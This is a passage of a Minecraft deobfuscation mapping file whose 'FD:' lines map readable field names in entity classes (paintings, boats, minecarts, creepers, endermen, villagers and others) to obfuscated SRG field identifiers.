net/minecraft/entity/item/EntityPainting$EnumArt/AZTEC_2 +FD: net/minecraft/entity/item/EntityPainting$EnumArt/BOMB net/minecraft/entity/item/EntityPainting$EnumArt/BOMB +FD: net/minecraft/entity/item/EntityPainting$EnumArt/PLANT net/minecraft/entity/item/EntityPainting$EnumArt/PLANT +FD: net/minecraft/entity/item/EntityPainting$EnumArt/WASTELAND net/minecraft/entity/item/EntityPainting$EnumArt/WASTELAND +FD: net/minecraft/entity/item/EntityPainting$EnumArt/POOL net/minecraft/entity/item/EntityPainting$EnumArt/POOL +FD: net/minecraft/entity/item/EntityPainting$EnumArt/COURBET net/minecraft/entity/item/EntityPainting$EnumArt/COURBET +FD: net/minecraft/entity/item/EntityPainting$EnumArt/SEA net/minecraft/entity/item/EntityPainting$EnumArt/SEA +FD: net/minecraft/entity/item/EntityPainting$EnumArt/SUNSET net/minecraft/entity/item/EntityPainting$EnumArt/SUNSET +FD: net/minecraft/entity/item/EntityPainting$EnumArt/CREEBET net/minecraft/entity/item/EntityPainting$EnumArt/CREEBET +FD: net/minecraft/entity/item/EntityPainting$EnumArt/WANDERER net/minecraft/entity/item/EntityPainting$EnumArt/WANDERER +FD: net/minecraft/entity/item/EntityPainting$EnumArt/GRAHAM net/minecraft/entity/item/EntityPainting$EnumArt/GRAHAM +FD: net/minecraft/entity/item/EntityPainting$EnumArt/MATCH net/minecraft/entity/item/EntityPainting$EnumArt/MATCH +FD: net/minecraft/entity/item/EntityPainting$EnumArt/BUST net/minecraft/entity/item/EntityPainting$EnumArt/BUST +FD: net/minecraft/entity/item/EntityPainting$EnumArt/STAGE net/minecraft/entity/item/EntityPainting$EnumArt/STAGE +FD: net/minecraft/entity/item/EntityPainting$EnumArt/VOID net/minecraft/entity/item/EntityPainting$EnumArt/VOID +FD: net/minecraft/entity/item/EntityPainting$EnumArt/SKULL_AND_ROSES net/minecraft/entity/item/EntityPainting$EnumArt/SKULL_AND_ROSES +FD: net/minecraft/entity/item/EntityPainting$EnumArt/WITHER net/minecraft/entity/item/EntityPainting$EnumArt/WITHER +FD: net/minecraft/entity/item/EntityPainting$EnumArt/FIGHTERS net/minecraft/entity/item/EntityPainting$EnumArt/FIGHTERS +FD: net/minecraft/entity/item/EntityPainting$EnumArt/POINTER net/minecraft/entity/item/EntityPainting$EnumArt/POINTER +FD: net/minecraft/entity/item/EntityPainting$EnumArt/PIGSCENE net/minecraft/entity/item/EntityPainting$EnumArt/PIGSCENE +FD: net/minecraft/entity/item/EntityPainting$EnumArt/BURNING_SKULL net/minecraft/entity/item/EntityPainting$EnumArt/BURNING_SKULL +FD: net/minecraft/entity/item/EntityPainting$EnumArt/SKELETON net/minecraft/entity/item/EntityPainting$EnumArt/SKELETON +FD: net/minecraft/entity/item/EntityPainting$EnumArt/DONKEY_KONG net/minecraft/entity/item/EntityPainting$EnumArt/DONKEY_KONG +FD: net/minecraft/entity/item/EntityPainting/art net/minecraft/entity/item/EntityPainting/field_70522_e +FD: net/minecraft/entity/projectile/EntityFishHook/shake net/minecraft/entity/projectile/EntityFishHook/field_146044_a +FD: net/minecraft/entity/projectile/EntityFishHook/fishX net/minecraft/entity/projectile/EntityFishHook/field_146056_aC +FD: net/minecraft/entity/projectile/EntityFishHook/fishY net/minecraft/entity/projectile/EntityFishHook/field_146057_aD +FD: net/minecraft/entity/projectile/EntityFishHook/fishZ net/minecraft/entity/projectile/EntityFishHook/field_146058_aE +FD: net/minecraft/entity/projectile/EntityFishHook/fishYaw net/minecraft/entity/projectile/EntityFishHook/field_146059_aF +FD: net/minecraft/entity/projectile/EntityFishHook/fishPitch net/minecraft/entity/projectile/EntityFishHook/field_146060_aG +FD: net/minecraft/entity/projectile/EntityFishHook/clientMotionX net/minecraft/entity/projectile/EntityFishHook/field_146061_aH +FD: net/minecraft/entity/projectile/EntityFishHook/clientMotionY net/minecraft/entity/projectile/EntityFishHook/field_146052_aI +FD: net/minecraft/entity/projectile/EntityFishHook/clientMotionZ net/minecraft/entity/projectile/EntityFishHook/field_146053_aJ +FD: net/minecraft/entity/projectile/EntityFishHook/inTile net/minecraft/entity/projectile/EntityFishHook/field_146046_j +FD: net/minecraft/entity/projectile/EntityFishHook/inGround net/minecraft/entity/projectile/EntityFishHook/field_146051_au +FD: net/minecraft/entity/projectile/EntityFishHook/ticksInGround net/minecraft/entity/projectile/EntityFishHook/field_146049_av +FD: net/minecraft/entity/projectile/EntityFishHook/ticksInAir net/minecraft/entity/projectile/EntityFishHook/field_146047_aw +FD: net/minecraft/entity/projectile/EntityFishHook/ticksCatchable net/minecraft/entity/projectile/EntityFishHook/field_146045_ax +FD: net/minecraft/entity/projectile/EntityFishHook/ticksCaughtDelay net/minecraft/entity/projectile/EntityFishHook/field_146040_ay +FD: net/minecraft/entity/projectile/EntityFishHook/ticksCatchableDelay net/minecraft/entity/projectile/EntityFishHook/field_146038_az +FD: net/minecraft/entity/projectile/EntityFishHook/fishApproachAngle net/minecraft/entity/projectile/EntityFishHook/field_146054_aA +FD: net/minecraft/entity/projectile/EntityFishHook/fishPosRotationIncrements net/minecraft/entity/projectile/EntityFishHook/field_146055_aB +FD: net/minecraft/entity/projectile/EntityFishHook/angler net/minecraft/entity/projectile/EntityFishHook/field_146042_b +FD: net/minecraft/entity/projectile/EntityFishHook/caughtEntity net/minecraft/entity/projectile/EntityFishHook/field_146043_c +FD: net/minecraft/entity/projectile/EntityFishHook/JUNK net/minecraft/entity/projectile/EntityFishHook/field_146039_d +FD: net/minecraft/entity/projectile/EntityFishHook/TREASURE net/minecraft/entity/projectile/EntityFishHook/field_146041_e +FD: net/minecraft/entity/projectile/EntityFishHook/FISH net/minecraft/entity/projectile/EntityFishHook/field_146036_f +FD: net/minecraft/entity/projectile/EntityFishHook/xTile net/minecraft/entity/projectile/EntityFishHook/field_146037_g +FD: net/minecraft/entity/projectile/EntityFishHook/yTile net/minecraft/entity/projectile/EntityFishHook/field_146048_h +FD: net/minecraft/entity/projectile/EntityFishHook/zTile net/minecraft/entity/projectile/EntityFishHook/field_146050_i +FD: net/minecraft/util/WeightedRandomFishable/returnStack net/minecraft/util/WeightedRandomFishable/field_150711_b +FD: net/minecraft/util/WeightedRandomFishable/maxDamagePercent net/minecraft/util/WeightedRandomFishable/field_150712_c +FD: net/minecraft/util/WeightedRandomFishable/enchantable net/minecraft/util/WeightedRandomFishable/field_150710_d +FD: net/minecraft/entity/effect/EntityLightningBolt/boltVertex net/minecraft/entity/effect/EntityLightningBolt/field_70264_a +FD: net/minecraft/entity/effect/EntityLightningBolt/lightningState net/minecraft/entity/effect/EntityLightningBolt/field_70262_b +FD: net/minecraft/entity/effect/EntityLightningBolt/boltLivingTime net/minecraft/entity/effect/EntityLightningBolt/field_70263_c +FD: net/minecraft/entity/item/EntityBoat/isBoatEmpty net/minecraft/entity/item/EntityBoat/field_70279_a +FD: net/minecraft/entity/item/EntityBoat/velocityY net/minecraft/entity/item/EntityBoat/field_70280_j +FD: net/minecraft/entity/item/EntityBoat/velocityZ net/minecraft/entity/item/EntityBoat/field_70278_an +FD: net/minecraft/entity/item/EntityBoat/speedMultiplier net/minecraft/entity/item/EntityBoat/field_70276_b +FD: net/minecraft/entity/item/EntityBoat/boatPosRotationIncrements net/minecraft/entity/item/EntityBoat/field_70277_c +FD: net/minecraft/entity/item/EntityBoat/boatX net/minecraft/entity/item/EntityBoat/field_70274_d +FD: net/minecraft/entity/item/EntityBoat/boatY net/minecraft/entity/item/EntityBoat/field_70275_e +FD: net/minecraft/entity/item/EntityBoat/boatZ net/minecraft/entity/item/EntityBoat/field_70272_f +FD: net/minecraft/entity/item/EntityBoat/boatYaw net/minecraft/entity/item/EntityBoat/field_70273_g +FD: net/minecraft/entity/item/EntityBoat/boatPitch net/minecraft/entity/item/EntityBoat/field_70281_h +FD: net/minecraft/entity/item/EntityBoat/velocityX net/minecraft/entity/item/EntityBoat/field_70282_i +FD: net/minecraft/entity/item/EntityFallingBlock/fallTime net/minecraft/entity/item/EntityFallingBlock/field_145812_b +FD: net/minecraft/entity/item/EntityFallingBlock/shouldDropItem net/minecraft/entity/item/EntityFallingBlock/field_145813_c +FD: net/minecraft/entity/item/EntityFallingBlock/tileEntityData net/minecraft/entity/item/EntityFallingBlock/field_145810_d +FD: net/minecraft/entity/item/EntityFallingBlock/fallTile net/minecraft/entity/item/EntityFallingBlock/field_175132_d +FD: net/minecraft/entity/item/EntityFallingBlock/canSetAsBlock net/minecraft/entity/item/EntityFallingBlock/field_145808_f +FD: net/minecraft/entity/item/EntityFallingBlock/hurtEntities net/minecraft/entity/item/EntityFallingBlock/field_145809_g +FD: net/minecraft/entity/item/EntityFallingBlock/fallHurtMax net/minecraft/entity/item/EntityFallingBlock/field_145815_h +FD: net/minecraft/entity/item/EntityFallingBlock/fallHurtAmount net/minecraft/entity/item/EntityFallingBlock/field_145816_i +FD: net/minecraft/entity/item/EntityItem/hoverStart net/minecraft/entity/item/EntityItem/field_70290_d +FD: net/minecraft/entity/item/EntityItem/logger net/minecraft/entity/item/EntityItem/field_145803_d +FD: net/minecraft/entity/item/EntityItem/age net/minecraft/entity/item/EntityItem/field_70292_b +FD: net/minecraft/entity/item/EntityItem/delayBeforeCanPickup net/minecraft/entity/item/EntityItem/field_145804_b +FD: net/minecraft/entity/item/EntityItem/health net/minecraft/entity/item/EntityItem/field_70291_e +FD: net/minecraft/entity/item/EntityItem/thrower net/minecraft/entity/item/EntityItem/field_145801_f +FD: net/minecraft/entity/item/EntityItem/owner net/minecraft/entity/item/EntityItem/field_145802_g +FD: net/minecraft/entity/item/EntityMinecart$1/field_180037_a net/minecraft/entity/item/EntityMinecart$1/field_180037_a +FD: net/minecraft/entity/item/EntityMinecart$1/field_180036_b net/minecraft/entity/item/EntityMinecart$1/field_180036_b +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/RIDEABLE net/minecraft/entity/item/EntityMinecart$EnumMinecartType/RIDEABLE +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/CHEST net/minecraft/entity/item/EntityMinecart$EnumMinecartType/CHEST +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/FURNACE net/minecraft/entity/item/EntityMinecart$EnumMinecartType/FURNACE +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/TNT net/minecraft/entity/item/EntityMinecart$EnumMinecartType/TNT +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/SPAWNER net/minecraft/entity/item/EntityMinecart$EnumMinecartType/SPAWNER +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/HOPPER net/minecraft/entity/item/EntityMinecart$EnumMinecartType/HOPPER +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/COMMAND_BLOCK net/minecraft/entity/item/EntityMinecart$EnumMinecartType/COMMAND_BLOCK +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/ID_LOOKUP net/minecraft/entity/item/EntityMinecart$EnumMinecartType/field_180051_h +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/networkID net/minecraft/entity/item/EntityMinecart$EnumMinecartType/field_180052_i +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/name net/minecraft/entity/item/EntityMinecart$EnumMinecartType/field_180049_j +FD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/$VALUES net/minecraft/entity/item/EntityMinecart$EnumMinecartType/$VALUES +FD: net/minecraft/entity/item/EntityMinecart/isInReverse net/minecraft/entity/item/EntityMinecart/field_70499_f +FD: net/minecraft/entity/item/EntityMinecart/velocityX net/minecraft/entity/item/EntityMinecart/field_70508_aq +FD: net/minecraft/entity/item/EntityMinecart/velocityY net/minecraft/entity/item/EntityMinecart/field_70507_ar +FD: net/minecraft/entity/item/EntityMinecart/velocityZ net/minecraft/entity/item/EntityMinecart/field_70506_as +FD: net/minecraft/entity/item/EntityMinecart/entityName net/minecraft/entity/item/EntityMinecart/field_94102_c +FD: net/minecraft/entity/item/EntityMinecart/matrix net/minecraft/entity/item/EntityMinecart/field_70500_g +FD: net/minecraft/entity/item/EntityMinecart/turnProgress net/minecraft/entity/item/EntityMinecart/field_70510_h +FD: net/minecraft/entity/item/EntityMinecart/minecartX net/minecraft/entity/item/EntityMinecart/field_70511_i +FD: net/minecraft/entity/item/EntityMinecart/minecartY net/minecraft/entity/item/EntityMinecart/field_70509_j +FD: net/minecraft/entity/item/EntityMinecart/minecartZ net/minecraft/entity/item/EntityMinecart/field_70514_an +FD: net/minecraft/entity/item/EntityMinecart/minecartYaw net/minecraft/entity/item/EntityMinecart/field_70512_ao +FD: net/minecraft/entity/item/EntityMinecart/minecartPitch net/minecraft/entity/item/EntityMinecart/field_70513_ap +FD: net/minecraft/entity/EntityMinecartCommandBlock$1/field_145768_a net/minecraft/entity/EntityMinecartCommandBlock$1/field_145768_a +FD: net/minecraft/entity/EntityMinecartCommandBlock/commandBlockLogic net/minecraft/entity/EntityMinecartCommandBlock/field_145824_a +FD: net/minecraft/entity/EntityMinecartCommandBlock/activatorRailCooldown net/minecraft/entity/EntityMinecartCommandBlock/field_145823_b +FD: net/minecraft/entity/item/EntityMinecartContainer/minecartContainerItems net/minecraft/entity/item/EntityMinecartContainer/field_94113_a +FD: net/minecraft/entity/item/EntityMinecartContainer/dropContentsWhenDead net/minecraft/entity/item/EntityMinecartContainer/field_94112_b +FD: net/minecraft/entity/item/EntityMinecartFurnace/pushX net/minecraft/entity/item/EntityMinecartFurnace/field_94111_a +FD: net/minecraft/entity/item/EntityMinecartFurnace/pushZ net/minecraft/entity/item/EntityMinecartFurnace/field_94109_b +FD: net/minecraft/entity/item/EntityMinecartFurnace/fuel net/minecraft/entity/item/EntityMinecartFurnace/field_94110_c +FD: net/minecraft/entity/item/EntityMinecartHopper/isBlocked net/minecraft/entity/item/EntityMinecartHopper/field_96113_a +FD: net/minecraft/entity/item/EntityMinecartHopper/transferTicker net/minecraft/entity/item/EntityMinecartHopper/field_98044_b +FD: net/minecraft/entity/item/EntityMinecartHopper/field_174900_c net/minecraft/entity/item/EntityMinecartHopper/field_174900_c +FD: net/minecraft/entity/ai/EntityMinecartMobSpawner$1/field_98296_a net/minecraft/entity/ai/EntityMinecartMobSpawner$1/field_98296_a +FD: net/minecraft/entity/ai/EntityMinecartMobSpawner/mobSpawnerLogic net/minecraft/entity/ai/EntityMinecartMobSpawner/field_98040_a +FD: net/minecraft/entity/item/EntityMinecartTNT/minecartTNTFuse net/minecraft/entity/item/EntityMinecartTNT/field_94106_a +FD: net/minecraft/entity/item/EntityTNTPrimed/fuse net/minecraft/entity/item/EntityTNTPrimed/field_70516_a +FD: net/minecraft/entity/item/EntityTNTPrimed/tntPlacedBy net/minecraft/entity/item/EntityTNTPrimed/field_94084_b +FD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/blaze net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/field_179469_a +FD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/field_179467_b net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/field_179467_b +FD: net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/field_179468_c net/minecraft/entity/monster/EntityBlaze$AIFireballAttack/field_179468_c +FD: net/minecraft/entity/monster/EntityBlaze/heightOffset net/minecraft/entity/monster/EntityBlaze/field_70847_d +FD: net/minecraft/entity/monster/EntityBlaze/heightOffsetUpdateTime net/minecraft/entity/monster/EntityBlaze/field_70848_e +FD: net/minecraft/entity/monster/EntityCreeper/lastActiveTime net/minecraft/entity/monster/EntityCreeper/field_70834_e +FD: net/minecraft/entity/monster/EntityCreeper/timeSinceIgnited net/minecraft/entity/monster/EntityCreeper/field_70833_d +FD: net/minecraft/entity/monster/EntityCreeper/explosionRadius net/minecraft/entity/monster/EntityCreeper/field_82226_g +FD: net/minecraft/entity/monster/EntityCreeper/field_175494_bm net/minecraft/entity/monster/EntityCreeper/field_175494_bm +FD: net/minecraft/entity/monster/EntityCreeper/fuseTime net/minecraft/entity/monster/EntityCreeper/field_82225_f +FD: net/minecraft/entity/monster/EntityEnderman$1/field_179949_a net/minecraft/entity/monster/EntityEnderman$1/field_179949_a +FD: net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/enderman net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/field_179475_a +FD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/player net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/field_179448_g +FD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/field_179450_h net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/field_179450_h +FD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/field_179451_i net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/field_179451_i +FD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/enderman net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/field_179449_j +FD: net/minecraft/entity/monster/EntityEnderman$AITakeBlock/enderman net/minecraft/entity/monster/EntityEnderman$AITakeBlock/field_179473_a +FD: net/minecraft/entity/monster/EntityEnderman/attackingSpeedBoostModifierUUID net/minecraft/entity/monster/EntityEnderman/field_110192_bp +FD: net/minecraft/entity/monster/EntityEnderman/attackingSpeedBoostModifier net/minecraft/entity/monster/EntityEnderman/field_110193_bq +FD: net/minecraft/entity/monster/EntityEnderman/isAggressive net/minecraft/entity/monster/EntityEnderman/field_104003_g +FD: net/minecraft/entity/monster/EntityEnderman/carriableBlocks net/minecraft/entity/monster/EntityEnderman/field_70827_d +FD: net/minecraft/entity/monster/EntityEndermite/lifetime net/minecraft/entity/monster/EntityEndermite/field_175497_b +FD: net/minecraft/entity/monster/EntityEndermite/playerSpawned net/minecraft/entity/monster/EntityEndermite/field_175498_c +FD: net/minecraft/entity/monster/IMob/mobSelector net/minecraft/entity/monster/IMob/field_82192_a +FD: net/minecraft/entity/monster/IMob/VISIBLE_MOB_SELECTOR net/minecraft/entity/monster/IMob/field_175450_e +FD: net/minecraft/entity/monster/EntityGhast$AILookAround/parentEntity net/minecraft/entity/monster/EntityGhast$AILookAround/field_179472_a +FD: net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/parentEntity net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/field_179927_g +FD: net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/courseChangeCooldown net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/field_179928_h +FD: net/minecraft/entity/monster/EntityGhast$AIFireballAttack/attackTimer net/minecraft/entity/monster/EntityGhast$AIFireballAttack/field_179471_a +FD: net/minecraft/entity/monster/EntityGhast$AIFireballAttack/parentEntity net/minecraft/entity/monster/EntityGhast$AIFireballAttack/field_179470_b +FD: net/minecraft/entity/monster/EntityGhast$AIRandomFly/parentEntity net/minecraft/entity/monster/EntityGhast$AIRandomFly/field_179454_a +FD: net/minecraft/entity/monster/EntityGhast/explosionStrength net/minecraft/entity/monster/EntityGhast/field_92014_j +FD: net/minecraft/entity/monster/EntityGuardian$1/field_179914_a net/minecraft/entity/monster/EntityGuardian$1/field_179914_a +FD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/theEntity net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/field_179456_a +FD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/tickCounter net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/field_179455_b +FD: net/minecraft/entity/monster/EntityGuardian$GuardianTargetSelector/parentEntity net/minecraft/entity/monster/EntityGuardian$GuardianTargetSelector/field_179916_a +FD: net/minecraft/entity/monster/EntityGuardian$GuardianMoveHelper/entityGuardian net/minecraft/entity/monster/EntityGuardian$GuardianMoveHelper/field_179930_g +FD: net/minecraft/entity/monster/EntityGuardian/field_175482_b net/minecraft/entity/monster/EntityGuardian/field_175482_b +FD: net/minecraft/entity/monster/EntityGuardian/field_175484_c net/minecraft/entity/monster/EntityGuardian/field_175484_c +FD: net/minecraft/entity/monster/EntityGuardian/field_175485_bl net/minecraft/entity/monster/EntityGuardian/field_175485_bl +FD: net/minecraft/entity/monster/EntityGuardian/field_175486_bm net/minecraft/entity/monster/EntityGuardian/field_175486_bm +FD: net/minecraft/entity/monster/EntityGuardian/targetedEntity net/minecraft/entity/monster/EntityGuardian/field_175478_bn +FD: net/minecraft/entity/monster/EntityGuardian/field_175479_bo net/minecraft/entity/monster/EntityGuardian/field_175479_bo +FD: net/minecraft/entity/monster/EntityGuardian/field_175480_bp net/minecraft/entity/monster/EntityGuardian/field_175480_bp +FD: net/minecraft/entity/monster/EntityGuardian/wander net/minecraft/entity/monster/EntityGuardian/field_175481_bq +FD: net/minecraft/entity/monster/EntityGuardian/field_175483_bk net/minecraft/entity/monster/EntityGuardian/field_175483_bk +FD: net/minecraft/entity/monster/EntityPigZombie/ATTACK_SPEED_BOOST_MODIFIER_UUID net/minecraft/entity/monster/EntityPigZombie/field_110189_bq +FD: net/minecraft/entity/monster/EntityPigZombie/angerLevel net/minecraft/entity/monster/EntityPigZombie/field_70837_d +FD: net/minecraft/entity/monster/EntityPigZombie/randomSoundDelay net/minecraft/entity/monster/EntityPigZombie/field_70838_e +FD: net/minecraft/entity/monster/EntityPigZombie/angerTargetUUID net/minecraft/entity/monster/EntityPigZombie/field_175459_bn +FD: net/minecraft/entity/monster/EntityPigZombie/ATTACK_SPEED_BOOST_MODIFIER net/minecraft/entity/monster/EntityPigZombie/field_110190_br +FD: net/minecraft/entity/SharedMonsterAttributes/maxHealth net/minecraft/entity/SharedMonsterAttributes/field_111267_a +FD: net/minecraft/entity/SharedMonsterAttributes/followRange net/minecraft/entity/SharedMonsterAttributes/field_111265_b +FD: net/minecraft/entity/SharedMonsterAttributes/knockbackResistance net/minecraft/entity/SharedMonsterAttributes/field_111266_c +FD: net/minecraft/entity/SharedMonsterAttributes/movementSpeed net/minecraft/entity/SharedMonsterAttributes/field_111263_d +FD: net/minecraft/entity/SharedMonsterAttributes/attackDamage net/minecraft/entity/SharedMonsterAttributes/field_111264_e +FD: net/minecraft/entity/SharedMonsterAttributes/logger net/minecraft/entity/SharedMonsterAttributes/field_151476_f +FD: net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/silverfish net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/field_179485_a +FD: net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/facing net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/field_179483_b +FD: net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/field_179484_c net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/field_179484_c +FD: net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/silverfish net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/field_179464_a +FD: net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/field_179463_b net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/field_179463_b +FD: net/minecraft/entity/monster/EntitySilverfish/summonSilverfish net/minecraft/entity/monster/EntitySilverfish/field_175460_b +FD: net/minecraft/entity/monster/EntitySkeleton/aiArrowAttack net/minecraft/entity/monster/EntitySkeleton/field_85037_d +FD: net/minecraft/entity/monster/EntitySkeleton/aiAttackOnCollide net/minecraft/entity/monster/EntitySkeleton/field_85038_e +FD: net/minecraft/entity/monster/EntitySlime$AISlimeAttack/slime net/minecraft/entity/monster/EntitySlime$AISlimeAttack/field_179466_a +FD: net/minecraft/entity/monster/EntitySlime$AISlimeAttack/field_179465_b net/minecraft/entity/monster/EntitySlime$AISlimeAttack/field_179465_b +FD: net/minecraft/entity/monster/EntitySlime$AISlimeFloat/slime net/minecraft/entity/monster/EntitySlime$AISlimeFloat/field_179457_a +FD: net/minecraft/entity/monster/EntitySlime$AISlimeHop/slime net/minecraft/entity/monster/EntitySlime$AISlimeHop/field_179458_a +FD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179922_g net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179922_g +FD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179924_h net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179924_h +FD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/slime net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179925_i +FD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179923_j net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/field_179923_j +FD: net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/slime net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/field_179461_a +FD: net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/field_179459_b net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/field_179459_b +FD: net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/field_179460_c net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/field_179460_c +FD: net/minecraft/entity/monster/EntitySlime/squishAmount net/minecraft/entity/monster/EntitySlime/field_70813_a +FD: net/minecraft/entity/monster/EntitySlime/squishFactor net/minecraft/entity/monster/EntitySlime/field_70811_b +FD: net/minecraft/entity/monster/EntitySlime/wasOnGround net/minecraft/entity/monster/EntitySlime/field_175452_bi +FD: net/minecraft/entity/monster/EntitySlime/prevSquishFactor net/minecraft/entity/monster/EntitySlime/field_70812_c +FD: net/minecraft/entity/monster/EntitySpider$GroupData/potionEffectId net/minecraft/entity/monster/EntitySpider$GroupData/field_111105_a +FD: net/minecraft/entity/monster/EntityWitch/MODIFIER_UUID net/minecraft/entity/monster/EntityWitch/field_110184_bp +FD: net/minecraft/entity/monster/EntityWitch/MODIFIER net/minecraft/entity/monster/EntityWitch/field_110185_bq +FD: net/minecraft/entity/monster/EntityWitch/witchAttackTimer net/minecraft/entity/monster/EntityWitch/field_82200_e +FD: net/minecraft/entity/monster/EntityWitch/witchDrops net/minecraft/entity/monster/EntityWitch/field_82199_d +FD: net/minecraft/entity/monster/EntityZombie$GroupData/isChild net/minecraft/entity/monster/EntityZombie$GroupData/field_142048_a +FD: net/minecraft/entity/monster/EntityZombie$GroupData/isVillager net/minecraft/entity/monster/EntityZombie$GroupData/field_142046_b +FD: net/minecraft/entity/monster/EntityZombie$GroupData/field_142047_c net/minecraft/entity/monster/EntityZombie$GroupData/field_142047_c +FD: net/minecraft/entity/monster/EntityZombie/reinforcementChance net/minecraft/entity/monster/EntityZombie/field_110186_bp +FD: net/minecraft/entity/monster/EntityZombie/babySpeedBoostUUID net/minecraft/entity/monster/EntityZombie/field_110187_bq +FD: net/minecraft/entity/monster/EntityZombie/breakDoor net/minecraft/entity/monster/EntityZombie/field_146075_bs +FD: net/minecraft/entity/monster/EntityZombie/conversionTime net/minecraft/entity/monster/EntityZombie/field_82234_d +FD: net/minecraft/entity/monster/EntityZombie/isBreakDoorsTaskSet net/minecraft/entity/monster/EntityZombie/field_146076_bu +FD: net/minecraft/entity/monster/EntityZombie/zombieWidth net/minecraft/entity/monster/EntityZombie/field_146074_bv +FD: net/minecraft/entity/monster/EntityZombie/zombieHeight net/minecraft/entity/monster/EntityZombie/field_146073_bw +FD: net/minecraft/entity/monster/EntityZombie/babySpeedBoostModifier net/minecraft/entity/monster/EntityZombie/field_110188_br +FD: net/minecraft/entity/NpcMerchant/theMerchantInventory net/minecraft/entity/NpcMerchant/field_70937_a +FD: net/minecraft/entity/NpcMerchant/customer net/minecraft/entity/NpcMerchant/field_70935_b +FD: net/minecraft/entity/NpcMerchant/recipeList net/minecraft/entity/NpcMerchant/field_70936_c +FD: net/minecraft/entity/NpcMerchant/field_175548_d net/minecraft/entity/NpcMerchant/field_175548_d +FD: net/minecraft/entity/passive/EntityVillager$EmeraldForItems/sellItem net/minecraft/entity/passive/EntityVillager$EmeraldForItems/field_179405_a +FD: net/minecraft/entity/passive/EntityVillager$EmeraldForItems/price net/minecraft/entity/passive/EntityVillager$EmeraldForItems/field_179404_b +FD: net/minecraft/entity/passive/EntityVillager$ListEnchantedItemForEmeralds/enchantedItemStack net/minecraft/entity/passive/EntityVillager$ListEnchantedItemForEmeralds/field_179407_a +FD: net/minecraft/entity/passive/EntityVillager$ListEnchantedItemForEmeralds/priceInfo net/minecraft/entity/passive/EntityVillager$ListEnchantedItemForEmeralds/field_179406_b +FD: net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/buyingItemStack net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/field_179411_a +FD: net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/buyingPriceInfo net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/field_179409_b +FD: net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/sellingItemstack net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/field_179410_c +FD: net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/field_179408_d net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/field_179408_d +FD: net/minecraft/entity/passive/EntityVillager$ListItemForEmeralds/itemToBuy net/minecraft/entity/passive/EntityVillager$ListItemForEmeralds/field_179403_a +FD: net/minecraft/entity/passive/EntityVillager$ListItemForEmeralds/priceInfo net/minecraft/entity/passive/EntityVillager$ListItemForEmeralds/field_179402_b +FD: net/minecraft/entity/passive/EntityVillager/areAdditionalTasksSet net/minecraft/entity/passive/EntityVillager/field_175564_by +FD: net/minecraft/entity/passive/EntityVillager/villagerInventory net/minecraft/entity/passive/EntityVillager/field_175560_bz +FD: net/minecraft/entity/passive/EntityVillager/DEFAULT_TRADE_LIST_MAP net/minecraft/entity/passive/EntityVillager/field_175561_bA +FD: net/minecraft/entity/passive/EntityVillager/villageObj net/minecraft/entity/passive/EntityVillager/field_70954_d +FD: 